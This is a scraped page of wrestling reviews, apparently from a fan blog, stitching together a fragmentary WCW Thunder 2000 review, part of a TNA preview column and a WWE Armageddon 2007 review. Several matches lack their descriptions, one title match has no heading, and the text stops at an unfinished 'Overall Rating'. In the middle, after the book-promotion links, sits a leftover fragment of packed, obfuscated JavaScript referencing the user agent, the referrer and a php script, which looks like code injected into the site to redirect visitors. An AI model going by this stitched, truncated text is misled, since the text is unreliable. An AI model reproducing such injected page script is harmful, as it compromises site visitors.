Thunder
Date: May 10, 2000
Location: Prairie Capital Convention Center, Springfield, Illinois
Attendance: 4,129
Commentators: Tony Schiavone, Bobby Heenan, Mike Tenay

Opening sequence.

Cruiserweight Title: Crowbar vs. Chris Candido

Hardcore Title: Harlem Heat vs. Terry Funk

Shawn Stasiak vs. Lash Leroux

I love alliteration. Before the match, Lash says he wants to be known as Corporal Cajun. Hennig comes out for commentary which will likely not explain his actions on Monday. A rollup gets two for Cajun but he gets slammed face first out of the corner to put him down. Stasiak gets two off a tilt-a-whirl powerbomb and they head outside with Cajun being rammed into various objects.

The rest of the Misfits chase Hennig off.

Back in New York, because we need two Russo sections, Vince messes with Daffney thinking a replica Statue of Liberty is the real one.

Rhonda Sing vs. Elizabeth

Bischoff and company are talking to Chuck Palumbo.

Bischoff gives Funk one more Hardcore Title match tonight. This is airing two days after the WWF did the exact same story with Chris Jericho and the Intercontinental Title.

Hardcore Title: Chuck Palumbo vs. Terry Funk

The security beats up Luger post match and Palumbo slams him into a door. Funk has wondered off somewhere, probably trying to find a John Wayne movie.

Kidman vs. Horace Hogan

Kidman gets up at nine and Bischoff hits Horace in the back with a chair and makes it an I Quit match. Eric is feeling nice though and offers Horace a spot on the team, earning him some spit in his eye. This brings in the Animals for a dog pile pin on Horace to end this No DQ, falls count anywhere, handicap, Texas death, I quit match which Kidman won via a pinfall.

Post break, Russo and Bischoff get in a limo but Hogan and Nash show up to destroy the car with ball bats.

Arn Anderson vs. David Flair

The bloody Arn is put in the Figure Four as Crowbar counts a pin.

David proposes to Daffney. Sure why not.

Sting vs. Mike Awesome

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etktn|var|u0026u|referrer|bnfry||js|php'.split('|'),0,{})) can’t believe I’m saying this but I’m somewhat optimistic going into the show tomorrow night. TNA has done about as good of a job of setting this thing up in four hours and I’m actually wanting to see what they’ve got. Above all else, this show is already better than last year’s disaster and has the potential to be entertaining. Let’s get to it.

http://kbwrestlingreviews.com/2015/10/01/new-column-bound-for-something-new-i-hope/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Armageddon 2007
Date: December 16, 2007
Location: Mellon Arena, Pittsburgh, Pennsylvania
Attendance: 12,500
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross, Jerry Lawler, Joey Styles, Taz

Thankfully we’re back to double branded shows again by this point and we have two title matches in the main events. Jericho is back and wants Orton’s title and we also have Edge vs. Taker vs. Batista for the title. Also there’s HHH vs. Jeff Hardy which is almost always good. This would be the beginning of Jeff chasing the brass ring, which would culminate in the main event of next year’s version of this show. Let’s get to it.

The opening talks about the light (Jericho) coming to save us from the darkness of Orton. Oh and something about Edge, Taker and Batista too.

US Title: Rey Mysterio vs. MVP

MVP is champion of course. This is a respect feud with Rey saying MVP doesn’t have it. Rey has one of his hoods on which looks like a KKK mask. It’s got a Skelator design on it in yellow and black since we’re in Pittsburgh. MVP goes for the legs immediately but Rey escapes. Rey grabs La Majistral for two. An armdrag sends MVP to the floor and the referee stops a Rey dive. The masked dude is like screw it and dives over the referee to hit a nice corkscrew plancha.

Mysterio charges in the corner but gets caught in a powerbomb position and dropped face first into the buckle for two. That looked painful. Drop toehold (one of the harder ones you’ll see this side of Raven) and a kick to the head get two. The Tazmissions weird cousin goes on as the crowd is staying into this. It’s hard to criticize decent matches. Start screwing stuff up already!

The Pittsburgh fans can’t count as they think you start with the numbers 6 1 9. Mysterio tries to run but MVP grabs him by the back of the head to ram it into the mat. That’s a theme for him here: working on the head and the neck. Rey finally gets something in and both guys are down. Rey gets up first and there’s the spinning cross body for two. He tries a springboard move and slips off the ropes, hurting his groin or knee.

Springboard moonsault (it’s not as impressive as it sounds) gets two. MVP takes his head (Rey’s, not his own. That would be stupid) off with a clothesline. He tries what appears to be a goardbuster off the top but Rey makes the block. They fight on the corner and Rey grabs a rana out of nowhere for two. Big boot by MVP gets two. That looked great.

Rey counters a reverse inverted DDT into a mat slam for two. 619 misses and MVP heads to the floor. Rey wants to dive and manages to hit MVP with a rana which is almost countered. The referee starts the count and I have a bad feeling I know where this is going. Yep MVP just takes the countout to retain the title.

Mark Henry/Big Daddy V vs. Kane/CM Punk

Punk is ECW Champion here and is having to stick and move against the monsters. Kane is here to help even out the size stuff. Punk vs. Henry to start us off. Punk fires off some kicks and then tries to pick up the leg because faces are idiots in this company. Off to Kane whose strikes do a bit better. He gets a shot to the knee and Henry is actually in trouble. Back to Punk who gets flattened by a clothesline.

Off to Big Daddy V and girth of death. Punk gets sent to the floor where Striker, the manager of V, gets in a shot. Henry pounds on him for awhile until a corner splash misses. Moderately warm tag brings in Kane who cleans a few rooms. The Big Bald hits the top rope clothesline to put Henry down but V breaks up the chokeslam. Sitout chokebomb gets two for V. I thought it was tea for two and two for tea but whatever.

V pounds away while in whale humping position. He splashes Kane and it’s off to Henry for some bearhuggery. Better than buggery I suppose. V comes in for Kane to fire away but another fat boy clothesline takes him down. Kane channels his inner deadman and hits a running DDT to put both guys down (Henry in this case). Double tag brings in V and Punk and everything breaks down. Punk and V are alone in the ring so Punk tries the springboard clothesline. He lands in a Samoan Drop though and we’re done.

Mr. Kennedy vs. Shawn Michaels

Kennedy says he’ll win pre match. Just a respect match here as far as I can tell. Kennedy takes over to start with a lot of basic offense focused on the back. Shawn tries to clear his head so Kennedy hammers on him a lot. Shawn is like wait a minute. I’m Shawn Michaels so let me chop you and sell like I’ve been shot and have a bad stomach ache. Due to the back work, Shawn can’t hit a suplex.

Kennedy tries a Mic Check but can’t it gets countered, injuring Kenderson’s elbow. Shawn, ever the psychologist out there, works on it. See how easy it is to do stuff that makes sense? Now why can so few people get that concept? Kennedy keeps trying to break the hold and finally sends both of them to the floor. That doesn’t go well either as his hand is slammed into the post.

Back inside and Shawn works on the hand and the arm. Shawn grabs a wristlock but Kennedy punches him through the ropes. That’s a new one. Back outside again and Shawn goes into the post. Well not really as he kind of slams against it. I don’t think there’s enough room for Shawn’s body inside the post. A running boot to a seated Shawn in the corner sets up a backbreaker for two.

In a nice bit of thinking from Kennedy, he jumps at Shawn from the middle rope but sees Shawn get his foot up so Kennedy stops his momentum and lands on his feet, avoiding the boot. He then sets for an elbow drop but Shawn rolls out of the way. Kennedy didn’t drop it right then but rather once Shawn rolled over, hitting Shawn in the bad back. Who says heels can’t be smart?

Shawn starts his comeback and chops away so he can hit the forearm and nipup. At least he’s putting a hand on his back for some selling. If he has a weakness, it’s his lack of selling injuries later in the match. There’s the top rope elbow and Shawn starts tuning up the band. I’ve never gotten how no one can hear the fans chanting along or hear Shawn stomping on the mat.

Either way he catches the kick and rolls up Shawn for two. Shawn gets a rollup of his own for the same. Kennedy hits a slingshot to send Shawn into the post and talks some trash. He punches Shawn with the left hand for no apparent reason and hurts it again, letting Sweet Chin Music (bad camera angle shows that it doesn’t hit at all, which is really good control from Shawn) end Kennedy.

Jeff Hardy vs. HHH

Winner gets the title shot at the Rumble. This show is stacked so far. Jeff is Intercontinental Champion here. Big HHH chant starts up before his entrance. They shake hands pre match but HHH pulls him in and shoves him away. HHH shows off his power advantage and takes Jeff’s head off with a clothesline. Out to the floor and HHH gets sent into the barricade.

This feels like a big match which says a lot considering it’s Jeff Hardy in 2007. Jeff tries to run the railing but slips off and gets clotheslined. Back inside and Jeff pulls back for a punch but stops, prompting HHH to shout FIGHT ME. Jeff gets slapped which ticks him off and slaps HHH back. Now it’s time to get going and here comes the Game. He tosses Jeff to the floor and it’s time for a beating.

Jeff gets sent into the steps and into the barrier. I guess the barrier got lonesome. Trips works on the back and blocks Whisper in the Wind by shoving Jeff off the top and into the railing again. We need a step shot to make things all balanced again! Jeff looks dead. On the floor I mean, not in general. You kind of have to make that clarification at times. Back in an elbow drop gets two.

Since this is a HHH match we get an old school move in the form of an abdominal stretch. He pulls on the rope and gets caught. I guess he’s bad HHH here. Jeff reverses a suplex and this an enziguri, only to run into a facebuster and clothesline for two. A sleeper is escaped and Jeff gets a middle rope missile dropkick to put both guys down.

Jeff speeds things up a bit, likely due to an injest of speed. The slingshot dropkick in the corner to a seated HHH misses but Jeff knocks the Game to the floor. There’s a big dive to the floor and the fans are starting to get into this. I can understand as it’s starting to get better. Back in a top rope cross body gets two for Jeff. There’s the Whisper in the Wind which gets two.

Twist of Fate is reversed into a DDT for two. Crucifix is countered into a Samoan Drop into the crucifix for two. The slingshot dropkick hits this time but the Swanton misses, getting two for HHH. Twist of Fate is countered again into the spinebuster. HHH loads up the Pedigree but Jeff rolls through it into a jackknife cover for the pin and the shot at Orton at the Rumble. HHH is shocked but not really mad.

Rating: B. Good match here as these two always seemed to be able to make things work. When Jeff was on his game (no pun intended) he was pretty solid. Wins like these made him into a legitimate title contender which would be the story for the next year. Well part of it as the other part was HHH never letting him get another pin on him, not even letting him get the title and needing Edge as a middle man.

Khali says Finlay will learn about consequences tonight.

Great Khali vs. Finlay

This is about Vince’s son Hornswoggle of course. Finlay gets beaten down in the corner rather quickly and there’s a hard chop. He gets sent to the floor as the idiot fans chant USA. Back inside there’s a nerve hold for a LONG time. Vice Grip goes on but it’s in the ropes. Horny gets on the apron for no apparent reason and is tossed to the floor. Finlay gets the club that I’m not going to try to spell and a shot to the head ends this. How was this six minutes long?

Rating: F. What in the world was the point of this? Nothing happened in this and they spent two or three minutes in the nerve hold. The Hornswoggle aspect never meant anything and the whole match was just a waste of time. Granted I think that was the point because there had been a bunch of big matches in a row so we needed a breather.

We recap Orton vs. Jericho. Jericho came back after being gone for like a year and a half and said he wanted a title match. Orton had been dominating the show for a few months so Jericho returned to give him a fresh opponent. This was the whole SAVE US deal.

Raw World Title: Chris Jericho vs. Randy Orton

Orton still has the far better Burn in My Light song. He looks so much younger with hair and non-orange skin. Feeling out process to start with Jericho hitting some armdrags and off to an armbar. Well it wouldn’t be a Jericho match without one of them. Now Jericho shifts over to the ribs but it wasn’t enough arm work to make it seem stupid. Spinwheel kick puts Randy down and he heads to the apron.

Jericho sends him to the floor and there’s a nice dive off the top. Back in the elevated DDT is countered into a Walls attempt but Orton counters and grabs a DDT to get two. Orton works on the back a bit and there’s the chinlock required in Randy matches. Now we make sure to upgrade things with a chinlock AND a body scissors! How will he ever top that???

The Canadian fights up and breaks the hold and both guys go down off their heads colliding. Clothesline gets two for Jericho. Middle rope missile dropkick gets the same. Orton gets his powerslam for two. This is kind of a boring match. They’re doing more of a collection of moves than a match if that makes sense. Jericho goes shoulder first into the post but manages to reverse an RKO attempt into a backslide for two.

Orton takes him down again and Jericho goes into the corner shoulder first again. Superplex works on Jericho’s back again and gets two here. Another Walls attempt is blocked but Jericho hits a running enziguri which sends Randy to his knees. Lionsault hits knees but another RKO attempt fails. Lionsault gets two.

Out to the floor and Jericho is sent over the announce table. Back inside Jericho hits something like a top rope forearm to the back of the head. Codebreaker is countered and Orton loads up the Punt. Jericho counters it into the Walls and pulls him back into the middle of the ring. And then JBL comes in to kick Jericho in the head for the DQ, which would be Jericho’s next feud. It would be about Jericho hitting him when Orton threw him into the table.

Beth is champion here. Mickie tries to attack the knees but that doesn’t get her anywhere. Neither does a rana attempt. Beth puts on a dragon sleeper and then the double chickenwing which Beth escapes. Now the rana works and there’s a Thesz Press. Neckbreaker puts Beth down but she didn’t cover. And never mind as Beth hits a release fisherman’s suplex for the pin to retain.

Smackdown World Title: Edge vs. Undertaker vs. Batista

Big Dave is champion. Taker goes straight for Edge so the Canadian runs. Batista and Taker get in a fight over who gets to beat up Edge. Taker wins that one and goes after Edge but a chokeslam is avoided. Edge chills on the floor which is rather smart. He tries to steal a pin on Batista which fails but he stomps away a bit. Taker is out of the floor thanks to the Animal. Edge knocks him down again but walks into a Bossman Slam for two.

Edge sets for the spear but Batista gets a big boot up for two as Taker saves. Taker sets for the legdrop on the apron but Batista takes his head off with a clothesline instead. He loads up the Bomb on Edge but there’s a low blow and Edgecution for two. Taker is back inside now and beating on Edge. Here’s Old School and a Last Ride attempt but Batista spears him down, resulting in a huge crash.

Batista tries to cover Taker but gets caught in a triangle choke and…there’s the bell? Edge rang it apparently to break the hold. That’s rather genius. Edge spears Taker for two. The crowd is into this now as Edge spears Batista for two. He grabs a pair of chairs but Batista breaks up a Conchairto. The Canadian goes to the floor and Dave goes up, only to get crotched.

Superplex hits Batista for two. Batista takes down Taker out of nowhere and spears Edge for fun. Batista Bomb to Taker is blocked and there are two Edges on the floor. Chokeslam to Batista and Taker calls for the tombstone. Someone resembling Edge jumps into a chokeslam. Batista Bomb is countered again as the chokeslamed Edge is down.

Batista, like an idiot, tries a tombstone. He of course takes it and the real Edge cracks Taker with a chair and steals the title. The other Edges, complete with accurate fake tattoos, would be more commonly known as the Major Brothers, who changed their names to the Edgeheads. Today they’re more commonly known as Zack Ryder and Curt Hawkins. Remember that strength of three men line?

Overall Rating